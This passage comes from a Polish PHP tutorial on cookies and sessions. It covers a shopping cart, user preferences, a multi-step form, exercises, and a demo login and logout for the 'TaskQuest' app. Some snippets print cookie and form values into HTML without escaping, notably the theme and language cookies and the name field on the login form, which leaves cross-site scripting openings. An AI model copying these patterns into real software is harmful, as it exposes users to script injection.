                    <tr>
                        <td><?= htmlspecialchars($item['name']) ?></td>
                        <td><?= number_format($item['price'], 2) ?> zł</td>
                        <td><?= $item['quantity'] ?></td>
                        <td><?= number_format($item['price'] * $item['quantity'], 2) ?> zł</td>
                        <td>
                            <form method="POST" style="display: inline;">
                                <input type="hidden" name="product_id" value="<?= $item['id'] ?>">
                                <button type="submit" name="remove_from_cart">Usuń</button>
                            </form>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
        
        <div class="total">
            Suma: <?= number_format($total, 2) ?> zł
        </div>
    <?php endif; ?>
    
    <hr>
    
    <h2>Dodaj produkt</h2>
    <form method="POST">
        <input type="hidden" name="product_id" value="<?= uniqid() ?>">
        <input type="text" name="product_name" placeholder="Nazwa produktu" required>
        <input type="number" name="product_price" placeholder="Cena" step="0.01" required>
        <button type="submit" name="add_to_cart">Dodaj do koszyka</button>
    </form>
</body>
</html>

3. Preferencje użytkownika w cookies

<?php
// Obsługa formularza - zapis preferencji
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $theme = $_POST['theme'] ?? 'light';
    $fontSize = $_POST['font_size'] ?? 'medium';
    $language = $_POST['language'] ?? 'pl';
    
    // Zapisz na 365 dni
    $expires = time() + (365 * 24 * 60 * 60);
    setcookie('theme', $theme, $expires, '/', '', false, true);
    setcookie('font_size', $fontSize, $expires, '/', '', false, true);
    setcookie('language', $language, $expires, '/', '', false, true);
    
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Odczytaj preferencje
$theme = $_COOKIE['theme'] ?? 'light';
$fontSize = $_COOKIE['font_size'] ?? 'medium';
$language = $_COOKIE['language'] ?? 'pl';

// Mapowanie rozmiarów czcionek
$fontSizes = [
    'small' => '14px',
    'medium' => '16px',
    'large' => '20px'
];
?>

<!DOCTYPE html>
<html lang="<?= $language ?>">
<head>
    <meta charset="UTF-8">
    <title>Preferencje</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            font-size: <?= $fontSizes[$fontSize] ?>;
            padding: 20px;
            max-width: 800px;
            margin: 0 auto;
        }
        body.light {
            background: #ffffff;
            color: #000000;
        }
        body.dark {
            background: #1a1a1a;
            color: #ffffff;
        }
        form {
            background: rgba(128, 128, 128, 0.1);
            padding: 20px;
            border-radius: 5px;
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            font-weight: bold;
        }
        select {
            padding: 8px;
            width: 200px;
        }
        button {
            margin-top: 15px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 4px;
        }
        .current {
            background: rgba(0, 123, 255, 0.1);
            padding: 15px;
            border-radius: 5px;
            margin: 20px 0;
        }
    </style>
</head>
<body class="<?= $theme ?>">
    <h1>Twoje preferencje</h1>
    
    <div class="current">
        <h3>Aktualne ustawienia:</h3>
        <p>Motyw: <strong><?= $theme === 'light' ? 'Jasny' : 'Ciemny' ?></strong></p>
        <p>Rozmiar czcionki: <strong><?= ucfirst($fontSize) ?></strong></p>
        <p>Język: <strong><?= $language === 'pl' ? 'Polski' : 'English' ?></strong></p>
    </div>
    
    <form method="POST">
        <label>Motyw:</label>
        <select name="theme">
            <option value="light" <?= $theme === 'light' ? 'selected' : '' ?>>Jasny</option>
            <option value="dark" <?= $theme === 'dark' ? 'selected' : '' ?>>Ciemny</option>
        </select>
        
        <label>Rozmiar czcionki:</label>
        <select name="font_size">
            <option value="small" <?= $fontSize === 'small' ? 'selected' : '' ?>>Mała</option>
            <option value="medium" <?= $fontSize === 'medium' ? 'selected' : '' ?>>Średnia</option>
            <option value="large" <?= $fontSize === 'large' ? 'selected' : '' ?>>Duża</option>
        </select>
        
        <label>Język:</label>
        <select name="language">
            <option value="pl" <?= $language === 'pl' ? 'selected' : '' ?>>Polski</option>
            <option value="en" <?= $language === 'en' ? 'selected' : '' ?>>English</option>
        </select>
        
        <button type="submit">Zapisz preferencje</button>
    </form>
    
    <p><small>Preferencje są przechowywane w ciasteczkach przez 365 dni</small></p>
</body>
</html>

4. Wieloetapowy formularz z sesjami

step1.php:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step1'] = [
        'imie' => trim($_POST['imie']),
        'nazwisko' => trim($_POST['nazwisko']),
        'email' => trim($_POST['email']),
        'telefon' => trim($_POST['telefon'])
    ];
    header('Location: step2.php');
    exit;
}

// Zachowaj wartości jeśli użytkownik wraca
$data = $_SESSION['step1'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 1/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 33%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 1/3</h1>
    <h2>Dane osobowe</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Imię:</label>
        <input type="text" name="imie" value="<?= htmlspecialchars($data['imie'] ?? '') ?>" required>
        
        <label>Nazwisko:</label>
        <input type="text" name="nazwisko" value="<?= htmlspecialchars($data['nazwisko'] ?? '') ?>" required>
        
        <label>Email:</label>
        <input type="email" name="email" value="<?= htmlspecialchars($data['email'] ?? '') ?>" required>
        
        <label>Telefon:</label>
        <input type="tel" name="telefon" value="<?= htmlspecialchars($data['telefon'] ?? '') ?>" pattern="[0-9]{9}" placeholder="123456789">
        
        <button type="submit">Dalej</button>
    </form>
</body>
</html>

step2.php:

<?php
session_start();

// Sprawdź czy krok 1 został wypełniony
if (!isset($_SESSION['step1'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step2'] = [
        'ulica' => trim($_POST['ulica']),
        'miasto' => trim($_POST['miasto']),
        'kod' => trim($_POST['kod'])
    ];
    header('Location: step3.php');
    exit;
}

$data = $_SESSION['step2'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 2/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 66%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 2/3</h1>
    <h2>Adres</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Ulica i numer:</label>
        <input type="text" name="ulica" value="<?= htmlspecialchars($data['ulica'] ?? '') ?>" required>
        
        <label>Miasto:</label>
        <input type="text" name="miasto" value="<?= htmlspecialchars($data['miasto'] ?? '') ?>" required>
        
        <label>Kod pocztowy:</label>
        <input type="text" name="kod" value="<?= htmlspecialchars($data['kod'] ?? '') ?>" pattern="[0-9]{2}-[0-9]{3}" placeholder="00-000" required>
        
        <button type="submit">Dalej</button>
        <a href="step1.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

step3.php:

<?php
session_start();

// Sprawdź czy poprzednie kroki zostały wypełnione
if (!isset($_SESSION['step1']) || !isset($_SESSION['step2'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Zapisz dane (np. do bazy danych lub pliku)
    $allData = array_merge($_SESSION['step1'], $_SESSION['step2']);
    
    // Tutaj zapis do bazy/pliku
    // saveUserData($allData);
    
    // Wyczyść sesję
    unset($_SESSION['step1']);
    unset($_SESSION['step2']);
    
    header('Location: success.php');
    exit;
}

$data = array_merge($_SESSION['step1'], $_SESSION['step2']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 3/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #28a745; height: 100%; border-radius: 10px; width: 100%; }
        .summary { background: #f8f9fa; padding: 20px; border-radius: 5px; margin: 20px 0; }
        button { padding: 10px 20px; background: #28a745; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 3/3</h1>
    <h2>Podsumowanie</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <div class="summary">
        <h3>Dane osobowe:</h3>
        <p>Imię: <?= htmlspecialchars($data['imie']) ?></p>
        <p>Nazwisko: <?= htmlspecialchars($data['nazwisko']) ?></p>
        <p>Email: <?= htmlspecialchars($data['email']) ?></p>
        <p>Telefon: <?= htmlspecialchars($data['telefon']) ?></p>
        
        <h3>Adres:</h3>
        <p>Ulica: <?= htmlspecialchars($data['ulica']) ?></p>
        <p>Miasto: <?= htmlspecialchars($data['miasto']) ?></p>
        <p>Kod pocztowy: <?= htmlspecialchars($data['kod']) ?></p>
    </div>
    
    <form method="POST">
        <button type="submit">Zatwierdź rejestrację</button>
        <a href="step2.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

Zadania praktyczne

Zadanie 1: System „Nie pokazuj więcej”

Stwórz stronę z popup’em, który pojawia się tylko raz. Po kliknięciu „Nie pokazuj więcej” zapisz informację w cookie na 30 dni.

Wymagania:

• Popup wyświetla się na środku ekranu
• Szare tło (overlay) pod popup’em
• Przycisk „Zamknij” – zamyka na tę sesję
• Checkbox „Nie pokazuj więcej” – zamyka na 30 dni

Zadanie 2: Prosty koszyk z sesjami

Stwórz koszyk zakupowy wykorzystujący sesje:

• Lista produktów z cenami
• Przycisk „Dodaj do koszyka”
• Wyświetlanie zawartości koszyka
• Zmiana ilości produktów
• Usuwanie produktów
• Obliczanie sumy

Zadanie 3: System logowania z „Zapamiętaj mnie”

Stwórz system logowania:

• Formularz login/hasło
• Checkbox „Zapamiętaj mnie”
• Sesja dla zalogowanego użytkownika
• Cookie z tokenem na 30 dni (jeśli zaznaczono „Zapamiętaj”)
• Automatyczne logowanie przy kolejnej wizycie
• Bezpieczne wylogowanie

Zadanie 4: Licznik unikalnych odwiedzin

Stwórz licznik, który:

• Zlicza każde wejście na stronę (sesja)
• Ale liczy użytkownika tylko raz dziennie (cookie)
• Wyświetla: „Dzisiaj odwiedziło nas X użytkowników”
• Resetuje licznik o północy

Zadanie 5: Preferencje użytkownika

Stwórz stronę z formularzem preferencji:

• Wybór motywu (jasny/ciemny)
• Wybór rozmiaru czcionki (mała/średnia/duża)
• Wybór języka (PL/EN)
• Zapisz w cookies na rok
• Zastosuj preferencje na całej stronie

TaskQuest 1.4 — aplikacja pamięta użytkownika

taskquest/
├── index.php                        (zmiana: sesja, tylko dla zalogowanych, dane użytkownika z sesji,
│                                     przycisk „Wyloguj”, komunikat z sesji, widok listy zapamiętany w cookie)
├── dodaj-zadanie.php                (zmiana: sesja, tylko dla zalogowanych, komunikat w sesji zamiast ?dodano=1)
├── zaloguj.php                      NOWY — formularz logowania (login + imię)
├── wyloguj.php                      NOWY — kończy sesję (tylko POST), bez własnego HTML
├── diagnostyka.php                  (zmiana: trzy nowe pozycje na liście wymaganych plików)
├── config/
│   └── config.php                   (zmiana: nowa stała CZAS_PAMIETANIA_WIDOKU)
├── includes/
│   ├── header.php                   bez zmian
│   ├── footer.php                   (zmiana: "TaskQuest 1.4")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         (zmiana: nowa funkcja walidujDaneLogowania() na końcu pliku)
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            bez zmian
│   ├── funkcje_sesji.php            NOWY — czyZalogowany(), wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           bez zmian
└── data/
    └── zadania.csv                  bez zmian

żądanie 1: POST dodaj-zadanie.php  → skrypt kończy się, zmienne znikają
żądanie 2: GET  index.php          → nowy skrypt od zera — nie wie nic o żądaniu 1
żądanie 3: GET  index.php (F5)     → znowu od zera

<?php

$licznik = 0;
$licznik++;

echo "Licznik: $licznik";

PRZEGLĄDARKA                                            SERWER
     │  GET brudnopis.php                                  │
     │ ──────────────────────────────────────────────────► │  setcookie('licznik', '1', ...)
     │  odpowiedź + nagłówek  Set-Cookie: licznik=1         │
     │ ◄────────────────────────────────────────────────── │
     │                                                     │
     │  (przeglądarka zapisuje: licznik=1)                  │
     │                                                     │
     │  GET brudnopis.php  + nagłówek  Cookie: licznik=1    │
     │ ──────────────────────────────────────────────────► │  $_COOKIE['licznik'] → "1"

<?php

$licznik = $_COOKIE['licznik'] ?? '0';
$licznik = (int) $licznik + 1;

setcookie('licznik', $licznik, time() + 60 * 60);

echo "Licznik: $licznik";

1. index.php: session_start()
   └─ przeglądarka nie ma numerka → PHP losuje identyfikator, np. "k3j9f0a2b7..."
      └─ wysyła ciasteczko  PHPSESSID=k3j9f0a2b7...
         └─ na serwerze powstaje plik  sess_k3j9f0a2b7...  (tu PHP zapisze $_SESSION)

2. dodaj-zadanie.php: session_start()
   └─ przeglądarka przysłała PHPSESSID=k3j9f0a2b7...
      └─ PHP otwiera plik sess_k3j9f0a2b7... i wypełnia nim $_SESSION
         └─ po zakończeniu skryptu zapisuje $_SESSION z powrotem do pliku

<?php

session_start();

$_SESSION['imie'] = 'Kama';
$_SESSION['xp'] = 99;
$_SESSION['zadania'] = ['Nauka PHP', 'Powtórka SQL'];

echo "Zapisano do sesji.";

<?php

session_start();

echo '<pre>';
var_dump($_SESSION);
echo '</pre>';

echo "Imię z sesji: " . ($_SESSION['imie'] ?? '(brak)');

session_start();

$_SESSION = [];                                    // 1. dane w pamięci skryptu

if (isset($_COOKIE[session_name()])) {             // 2. numerek w przeglądarce
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();                                 // 3. plik sesji na serwerze

<?php

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // ... wyczyść dane sesji, przekieruj, zakończ ...
}

// licznik w sesji
$wizytySesji = ($_SESSION['wizyty'] ?? 0) + 1;
// ... zapisz do sesji ...

// licznik w cookie
$wizytyCookie = $_COOKIE['wizyty'] ?? '0';

if (/* nie same cyfry */) {
    $wizytyCookie = '0';
}

// ... +1, setcookie() na 7 dni ...
?>
<!-- HTML: dwa akapity z licznikami i formularz z przyciskiem -->

<?php

session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION = [];
    header('Location: brudnopis.php');
    exit;
}

// licznik w sesji
$wizytySesji = ($_SESSION['wizyty'] ?? 0) + 1;
$_SESSION['wizyty'] = $wizytySesji;

// licznik w cookie
$wizytyCookie = $_COOKIE['wizyty'] ?? '0';

if (!preg_match('/^\d+$/', $wizytyCookie)) {
    $wizytyCookie = '0';
}

$wizytyCookie = (int) $wizytyCookie + 1;
setcookie('wizyty', $wizytyCookie, time() + 60 * 60 * 24 * 7);
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Brudnopis — liczniki</title>
</head>
<body>
    <p>Odwiedziny w tej sesji: <strong><?= $wizytySesji; ?></strong></p>
    <p>Wszystkie Twoje odwiedziny (cookie, 7 dni): <strong><?= $wizytyCookie; ?></strong></p>

    <form method="post" action="brudnopis.php">
        <button type="submit">Zakończ sesję</button>
    </form>
</body>
</html>

walidujDaneLogowania(string $login, string $imieUzytkownika): array

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';

var_dump(walidujDaneLogowania('Kama_2026', 'Kama'));
var_dump(walidujDaneLogowania('Ka', ''));

ustawKomunikat('Test');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());
var_dump(czyZalogowany());

function czyZalogowany(): bool
{
    return isset(/* ... */);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        // ... przekierowanie na zaloguj.php i koniec skryptu ...
    }
}


function pobierzKomunikat(): string
{
    $komunikat = /* ... ?? '' */;
    // ... usuń z sesji ...

    return $komunikat;
}

function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy[] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}

<?php

function czyZalogowany(): bool
{
    return isset($_SESSION['login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION['komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION['komunikat'] ?? '';
    unset($_SESSION['komunikat']);

    return $komunikat;
}

session_regenerate_id(true);

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = [];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Logowanie</h2>
        <p>Wersja demonstracyjna: podaj login i imię — bez hasła.</p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <form method="post" action="zaloguj.php">
            <label for="login">Login *</label>
            <input type="text" id="login" name="login" maxlength="20" required value="<?= $login; ?>">

            <label for="imie">Imię *</label>
            <input type="text" id="imie" name="imie" maxlength="30" required value="<?= $imieUzytkownika; ?>">

            <button type="submit">Wejdź do TaskQuest</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION['imie'];
$login = $_SESSION['login'];

        <?php
        if (walidujLogin($login)) {
            echo "<p>Login poprawny: $login</p>";
        } else {
            echo "<p>Login jest niepoprawny.</p>";
        }
        ?>

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();

<?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;

        <p>Zalogowano jako <strong><?= $login; ?></strong></p>
        <form method="post" action="wyloguj.php">
            <button type="submit">Wyloguj</button>
        </form>

1. dodaj-zadanie.php (POST): zapis do pliku → ustawKomunikat('Zadanie zostało dodane.') → przekierowanie na index.php
2. index.php (GET):          pobierzKomunikat() → "Zadanie zostało dodane."  (i od razu usuwa go z sesji)
3. index.php (F5):           pobierzKomunikat() → ""  — komunikatu już nie ma

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }

$zadanieDodane = ($_GET['dodano'] ?? '') === '1';

// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();

        <?php if ($komunikat !== '') { ?>
        <p class="sukces"><?= $komunikat; ?></p>
        <?php } ?>

        <p>Zdobywaj punkty za wykonane zadania!</p>

        <p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>

// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = /* adres ?? ciasteczko ?? 'wszystkie' */;

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (/* parametr był w adresie */) {
    setcookie(/* nazwa, wartość po zawężeniu, teraz + CZAS_PAMIETANIA_WIDOKU */);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    // ... bez zmian ...
};

define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach

// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET['filtr'] ?? $_COOKIE['filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' && $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET['filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' => $zadaniaWgTerminu,
    'aktywne' => $aktywneWgTerminu,
    'wykonane' => $wykonaneWgTerminu
};

<?php

require_once __DIR__ . '/includes/funkcje_tekstowe.php';

$przypadki = [
    ['Kama_2026', 'Kama'],
    ['Ka', 'Kama'],
    ['Kam', 'Kama'],
    [str_repeat('a', 20), 'Kama'],
    [str_repeat('a', 21), 'Kama'],
    ['Kama 2026', 'Kama'],
    ['Kąma_2026', 'Kama'],
    ['Kama-2026', ''],
    ['Kama_2026', str_repeat('ż', 30)],
    ['Kama_2026', str_repeat('ż', 31)],
    ['Kama_2026', 'Kama Nowak'],
    ['', ''],
];

foreach ($przypadki as $numer => $dane) {
    $bledy = walidujDaneLogowania($dane[0], $dane[1]);
    echo ($numer + 1) . ". " . (count($bledy) === 0 ? "OK" : implode(' | ', $bledy)) . "<br>";
}

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

echo czyZalogowany() ? "zalogowany<br>" : "niezalogowany<br>";

ustawKomunikat('Pierwszy');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());

ustawKomunikat('A');
ustawKomunikat('B');
var_dump(pobierzKomunikat());

ustawKomunikat('Pozdrowienia z brudnopisu');

<?php

echo str_repeat('x', 5000);

session_start();
setcookie('test', '1');

<?php

setcookie('test', time());

echo "W \$_COOKIE jest: " . ($_COOKIE['test'] ?? '(brak)') . "<br>";
echo "Właśnie ustawiono: " . time();

define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach

function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy[] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}

<?php

function czyZalogowany(): bool
{
    return isset($_SESSION['login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION['komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION['komunikat'] ?? '';
    unset($_SESSION['komunikat']);

    return $komunikat;
}

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = [];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION['login'] = $login;
        $_SESSION['imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Logowanie</h2>
        <p>Wersja demonstracyjna: podaj login i imię — bez hasła.</p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <form method="post" action="zaloguj.php">
            <label for="login">Login *</label>
            <input type="text" id="login" name="login" maxlength="20" required value="<?= $login; ?>">

            <label for="imie">Imię *</label>
            <input type="text" id="imie" name="imie" maxlength="30" required value="<?= $imieUzytkownika; ?>">

            <button type="submit">Wejdź do TaskQuest</button>
        </form>
<?php
require_once __DIR__ . '/includes/footer.php';

<?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;

<?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = [];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST['tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST['opis'] ?? ''));
    $terminZadania = trim($_POST['termin'] ?? '');
    $xpZadania = trim($_POST['xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania[] = [
                'id' => nastepneIdZadania($zadania),
                'tytul' => $tytulZadania,
                'opis' => $opisZadania,
                'termin' => $terminZadania,
                'wykonane' => false,
                'xp' => (int) $xpZadania
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek->getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>
        <h2>Nowe zadanie</h2>
        <p><a href="index.php">← Wróć do listy zadań</a></p>

        <?php if (count($bledy) > 0) { ?>
        <div class="blad">
            <p>Popraw formularz:</p>
            <ul>
                <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
                <?php } ?>
            </ul>
        </div>
        <?php } ?>

        <?php if ($bladZapisu !== null) { ?>
        <p class="blad">Nie udało się dodać zadania: <?= $bladZapisu; ?></p>
        <?php } ?>

        <form method="post" action="dodaj-zadanie.php">
            <label for="tytul">Tytuł *</label>
            <input type="text" id="tytul" name="tytul" maxlength="100" required value="<?= $tytulZadania; ?>">

            <label for="opis">Opis</label>
            <textarea id="opis" name="opis" rows="3" maxlength="300"><?= $opisZadania; ?></textarea>

